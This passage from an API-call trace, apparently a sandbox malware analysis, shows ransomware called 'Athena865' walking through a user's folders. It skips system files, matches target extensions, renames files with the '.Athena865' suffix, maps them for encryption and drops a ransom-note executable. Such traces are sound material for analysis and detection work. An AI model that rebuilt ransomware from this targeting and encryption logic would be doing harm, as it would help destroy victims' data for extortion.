returned -1 [0049.767] lstrlenW (lpString="sdf") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="sdf") returned -1 [0049.767] lstrlenW (lpString="sis") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="sis") returned -1 [0049.767] lstrlenW (lpString="spq") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="spq") returned -1 [0049.767] lstrlenW (lpString="te") returned 2 [0049.767] lstrcmpiW (lpString1="cx", lpString2="te") returned -1 [0049.767] lstrlenW (lpString="teacher") returned 7 [0049.767] lstrcmpiW (lpString1="m6.docx", lpString2="teacher") returned -1 [0049.767] lstrlenW (lpString="tmd") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="tmd") returned -1 [0049.767] lstrlenW (lpString="tps") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="tps") returned -1 [0049.767] lstrlenW (lpString="trc") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1 [0049.767] lstrlenW (lpString="trc") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1 [0049.767] lstrlenW (lpString="trm") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="trm") returned -1 [0049.767] lstrlenW (lpString="udb") returned 3 [0049.767] lstrcmpiW (lpString1="ocx", lpString2="udb") returned -1 [0049.768] lstrlenW (lpString="udl") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="udl") returned -1 [0049.768] lstrlenW (lpString="usr") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="usr") returned -1 [0049.768] lstrlenW (lpString="v12") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="v12") returned -1 [0049.768] lstrlenW (lpString="vis") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="vis") returned -1 [0049.768] lstrlenW (lpString="vpd") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="vpd") returned -1 [0049.768] lstrlenW (lpString="vvv") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="vvv") returned -1 [0049.768] lstrlenW (lpString="wdb") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="wdb") returned -1 [0049.768] lstrlenW (lpString="wmdb") returned 4 [0049.768] lstrcmpiW (lpString1="docx", lpString2="wmdb") returned -1 [0049.768] lstrlenW (lpString="wrk") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="wrk") returned -1 [0049.768] lstrlenW (lpString="xdb") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="xdb") returned -1 [0049.768] lstrlenW (lpString="xld") returned 3 [0049.768] lstrcmpiW (lpString1="ocx", lpString2="xld") returned -1 [0049.768] lstrlenW (lpString="xmlff") returned 5 [0049.768] lstrcmpiW (lpString1=".docx", lpString2="xmlff") returned -1 [0049.768] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\h0ScNVYm6.docx.Athena865") returned 88 [0049.768] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\h0ScNVYm6.docx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\h0scnvym6.docx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\h0ScNVYm6.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\h0scnvym6.docx.athena865"), dwFlags=0x1) returned 1 [0049.769] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\h0ScNVYm6.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\h0scnvym6.docx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.769] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=97245) returned 1 [0049.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.770] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.770] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.770] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.770] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17ee0, lpName=0x0) returned 0x154 [0049.770] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17ee0) returned 0x100000 [0049.773] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.774] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.774] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.775] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.776] CloseHandle (hObject=0x154) returned 1 [0049.776] CloseHandle (hObject=0x17c) returned 1 [0049.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.777] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcdeb7e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcdeb7e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0049.777] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0049.777] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x632e5550, ftCreationTime.dwHighDateTime=0x1d4c929, ftLastAccessTime.dwLowDateTime=0xac60d2a0, ftLastAccessTime.dwHighDateTime=0x1d4c9e4, ftLastWriteTime.dwLowDateTime=0xac60d2a0, ftLastWriteTime.dwHighDateTime=0x1d4c9e4, nFileSizeHigh=0x0, nFileSizeLow=0xb582, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hp7dq.mp4", cAlternateFileName="")) returned 1 [0049.777] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.777] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.777] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2=".") returned 1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="..") returned 1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="windows") returned -1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="bootmgr") returned 1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="temp") returned -1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="pagefile.sys") returned -1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="boot") returned 1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="ids.txt") returned -1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="ntuser.dat") returned -1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="perflogs") returned -1 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2="MSBuild") returned -1 [0049.778] lstrlenW (lpString="Hp7dq.mp4") returned 9 [0049.778] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Hp7dq.mp4" | out: lpString1="Hp7dq.mp4") returned="Hp7dq.mp4" [0049.778] lstrlenW (lpString="Hp7dq.mp4") returned 9 [0049.778] lstrlenW (lpString="Athena865") returned 9 [0049.778] lstrlenW (lpString=".dll") returned 4 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2=".dll") returned 1 [0049.778] lstrlenW (lpString=".lnk") returned 4 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2=".lnk") returned 1 [0049.778] lstrlenW (lpString=".ini") returned 4 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2=".ini") returned 1 [0049.778] lstrlenW (lpString=".sys") returned 4 [0049.778] lstrcmpiW (lpString1="Hp7dq.mp4", lpString2=".sys") returned 1 [0049.778] lstrlenW (lpString="Hp7dq.mp4") returned 9 [0049.778] lstrlenW (lpString="bak") returned 3 [0049.778] lstrcmpiW (lpString1="mp4", lpString2="bak") returned 1 [0049.778] lstrlenW (lpString="ba_") returned 3 [0049.778] lstrcmpiW (lpString1="mp4", lpString2="ba_") returned 1 [0049.778] lstrlenW (lpString="dbb") returned 3 [0049.778] lstrcmpiW (lpString1="mp4", lpString2="dbb") returned 1 [0049.778] lstrlenW (lpString="vmdk") returned 4 [0049.778] lstrcmpiW (lpString1=".mp4", lpString2="vmdk") returned -1 [0049.778] lstrlenW (lpString="rar") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="rar") returned -1 [0049.779] lstrlenW (lpString="zip") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="zip") returned -1 [0049.779] lstrlenW (lpString="tgz") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="tgz") returned -1 [0049.779] lstrlenW (lpString="vbox") returned 4 [0049.779] lstrcmpiW (lpString1=".mp4", lpString2="vbox") returned -1 [0049.779] lstrlenW (lpString="vdi") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="vdi") returned -1 [0049.779] lstrlenW (lpString="vhd") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="vhd") returned -1 [0049.779] lstrlenW (lpString="vhdx") returned 4 [0049.779] lstrcmpiW (lpString1=".mp4", lpString2="vhdx") returned -1 [0049.779] lstrlenW (lpString="avhd") returned 4 [0049.779] lstrcmpiW (lpString1=".mp4", lpString2="avhd") returned -1 [0049.779] lstrlenW (lpString="db") returned 2 [0049.779] lstrcmpiW (lpString1="p4", lpString2="db") returned 1 [0049.779] lstrlenW (lpString="db2") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="db2") returned 1 [0049.779] lstrlenW (lpString="db3") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="db3") returned 1 [0049.779] lstrlenW (lpString="dbf") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="dbf") returned 1 [0049.779] lstrlenW (lpString="mdf") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="mdf") returned 1 [0049.779] lstrlenW (lpString="mdb") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="mdb") returned 1 [0049.779] lstrlenW (lpString="sql") returned 3 [0049.779] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1 [0049.779] lstrlenW (lpString="sqlite") returned 6 [0049.779] lstrcmpiW (lpString1="dq.mp4", lpString2="sqlite") returned -1 [0049.779] lstrlenW (lpString="sqlite3") returned 7 [0049.779] lstrcmpiW (lpString1="7dq.mp4", lpString2="sqlite3") returned -1 [0049.779] lstrlenW (lpString="sqlitedb") returned 8 [0049.780] lstrcmpiW (lpString1="p7dq.mp4", lpString2="sqlitedb") returned -1 [0049.780] lstrlenW (lpString="xml") returned 3 [0049.780] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1 [0049.780] lstrlenW (lpString="$er") returned 3 [0049.780] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1 [0049.780] lstrlenW (lpString="4dd") returned 3 [0049.780] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1 [0049.780] lstrlenW (lpString="4dl") returned 3 [0049.780] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1 [0049.780] lstrlenW (lpString="^^^") returned 3 [0049.780] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1 [0049.780] lstrlenW (lpString="abs") returned 3 [0049.780] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1 [0049.780] lstrlenW (lpString="abx") returned 3 [0049.780] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1 [0049.780] lstrlenW (lpString="accdb") returned 5 [0049.780] lstrcmpiW (lpString1="q.mp4", lpString2="accdb") returned 1 [0049.780] lstrlenW (lpString="accdc") returned 5 [0049.780] lstrcmpiW (lpString1="q.mp4", lpString2="accdc") returned 1 [0049.780] lstrlenW (lpString="accde") returned 5 [0049.780] lstrcmpiW (lpString1="q.mp4", lpString2="accde") returned 1 [0049.780] lstrlenW (lpString="accdr") returned 5 [0049.780] lstrcmpiW (lpString1="q.mp4", lpString2="accdr") returned 1 [0049.780] lstrlenW (lpString="accdt") returned 5 [0049.780] lstrcmpiW (lpString1="q.mp4", lpString2="accdt") returned 1 [0049.780] lstrlenW (lpString="accdw") returned 5 [0049.780] lstrcmpiW (lpString1="q.mp4", lpString2="accdw") returned 1 [0049.780] lstrlenW (lpString="accft") returned 5 [0049.780] lstrcmpiW (lpString1="q.mp4", lpString2="accft") returned 1 [0049.780] lstrlenW (lpString="adb") returned 3 [0049.780] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0049.780] lstrlenW (lpString="adb") returned 3 [0049.780] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0049.780] lstrlenW (lpString="ade") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1 [0049.781] lstrlenW (lpString="adf") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1 [0049.781] lstrlenW (lpString="adn") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1 [0049.781] lstrlenW (lpString="adp") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1 [0049.781] lstrlenW (lpString="alf") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1 [0049.781] lstrlenW (lpString="ask") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1 [0049.781] lstrlenW (lpString="btr") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1 [0049.781] lstrlenW (lpString="cat") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1 [0049.781] lstrlenW (lpString="cdb") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1 [0049.781] lstrlenW (lpString="ckp") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1 [0049.781] lstrlenW (lpString="cma") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1 [0049.781] lstrlenW (lpString="cpd") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1 [0049.781] lstrlenW (lpString="dacpac") returned 6 [0049.781] lstrcmpiW (lpString1="dq.mp4", lpString2="dacpac") returned 1 [0049.781] lstrlenW (lpString="dad") returned 3 [0049.781] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1 [0049.781] lstrlenW (lpString="dadiagrams") returned 10 [0049.781] lstrlenW (lpString="daschema") returned 8 [0049.781] lstrcmpiW (lpString1="p7dq.mp4", lpString2="daschema") returned 1 [0049.781] lstrlenW (lpString="db-journal") returned 10 [0049.781] lstrlenW (lpString="db-shm") returned 6 [0049.782] lstrcmpiW (lpString1="dq.mp4", lpString2="db-shm") returned 1 [0049.782] lstrlenW (lpString="db-wal") returned 6 [0049.782] lstrcmpiW (lpString1="dq.mp4", lpString2="db-wal") returned 1 [0049.782] lstrlenW (lpString="dbc") returned 3 [0049.782] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1 [0049.782] lstrlenW (lpString="dbs") returned 3 [0049.782] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1 [0049.782] lstrlenW (lpString="dbt") returned 3 [0049.782] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1 [0049.782] lstrlenW (lpString="dbv") returned 3 [0049.782] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1 [0049.782] lstrlenW (lpString="dbx") returned 3 [0049.782] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1 [0049.782] lstrlenW (lpString="dcb") returned 3 [0049.782] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1 [0049.782] lstrcmpiW (lpString1="mp4", lpString2="dct") returned 1 [0049.782] lstrcmpiW (lpString1="mp4", lpString2="dcx") returned 1 [0049.782] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Hp7dq.mp4.Athena865") returned 83 [0049.782] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Hp7dq.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\hp7dq.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Hp7dq.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\hp7dq.mp4.athena865"), dwFlags=0x1) returned 1 [0049.783] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Hp7dq.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\hp7dq.mp4.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.783] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46466) returned 1 [0049.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.784] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.784] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.784] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.784] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb890, lpName=0x0) returned 0x154 [0049.785] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb890) returned 0x100000 [0049.786] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.787] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.787] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50e9a8 [0049.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0049.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.788] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.788] CloseHandle (hObject=0x154) returned 1 [0049.788] CloseHandle (hObject=0x17c) returned 1 [0049.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.790] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2=".") returned 1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="..") returned 1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="windows") returned -1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="bootmgr") returned 1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="temp") returned -1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="pagefile.sys") returned -1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="boot") returned 1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="ids.txt") returned -1 [0049.790] lstrcmpiW (lpString1="Identities", lpString2="ntuser.dat") returned -1 [0049.791] lstrcmpiW (lpString1="Identities", lpString2="perflogs") returned -1 [0049.791] lstrcmpiW (lpString1="Identities", lpString2="MSBuild") returned -1 [0049.791] lstrlenW (lpString="Identities") returned 10 [0049.791] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Identities" | out: lpString1="Identities") returned="Identities" [0049.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b618 [0049.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x50efe8 [0049.791] lstrcatW (in: lpString1="Identities", lpString2="\\" | out: lpString1="Identities\\") returned="Identities\\" [0049.791] lstrcatW (in: lpString1="Identities\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Identities\\HOW TO BACK YOUR FILES.exe") returned="Identities\\HOW TO BACK YOUR FILES.exe" [0049.791] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\identities\\how to back your files.exe"), bFailIfExists=1) returned 1 [0049.793] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x475ed6e0, ftCreationTime.dwHighDateTime=0x1d4cd81, ftLastAccessTime.dwLowDateTime=0x2cc7f210, ftLastAccessTime.dwHighDateTime=0x1d4d071, ftLastWriteTime.dwLowDateTime=0x2cc7f210, ftLastWriteTime.dwHighDateTime=0x1d4d071, nFileSizeHigh=0x0, nFileSizeLow=0xeb53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IT45DE3gy.gif", cAlternateFileName="IT45DE~1.GIF")) returned 1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2=".") returned 1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="..") returned 1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="windows") returned -1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="bootmgr") returned 1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="temp") returned -1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="pagefile.sys") returned -1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="boot") returned 1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="ids.txt") returned 1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="ntuser.dat") returned -1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="perflogs") returned -1 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2="MSBuild") returned -1 [0049.793] lstrlenW (lpString="IT45DE3gy.gif") returned 13 [0049.793] lstrcpyW (in: lpString1=0x241e8c8, lpString2="IT45DE3gy.gif" | out: lpString1="IT45DE3gy.gif") returned="IT45DE3gy.gif" [0049.793] lstrlenW (lpString="IT45DE3gy.gif") returned 13 [0049.793] lstrlenW (lpString="Athena865") returned 9 [0049.793] lstrcmpiW (lpString1="DE3gy.gif", lpString2="Athena865") returned 1 [0049.793] lstrlenW (lpString=".dll") returned 4 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2=".dll") returned 1 [0049.793] lstrlenW (lpString=".lnk") returned 4 [0049.793] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2=".lnk") returned 1 [0049.793] lstrlenW (lpString=".ini") returned 4 [0049.794] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2=".ini") returned 1 [0049.794] lstrlenW (lpString=".sys") returned 4 [0049.794] lstrcmpiW (lpString1="IT45DE3gy.gif", lpString2=".sys") returned 1 [0049.794] lstrlenW (lpString="IT45DE3gy.gif") returned 13 